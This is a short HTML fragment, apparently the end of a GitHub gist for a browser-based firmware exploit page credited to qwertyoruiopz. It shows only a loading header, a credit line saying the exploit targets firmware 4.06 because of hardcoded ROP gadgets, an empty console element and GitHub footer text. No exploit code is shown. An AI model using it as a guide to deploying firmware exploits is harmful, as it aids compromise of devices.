<center><h1 id=clck>loading</h1>by <a href='https://twitter.com/qwertyoruiopz'>qwertyoruiopz</a><br/>this exploit supports all non-4.50 firmwares, but right now it specifically targets 4.06 due to rop gadgets being hardcoded<br/></center>
<pre id="console"></pre>
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment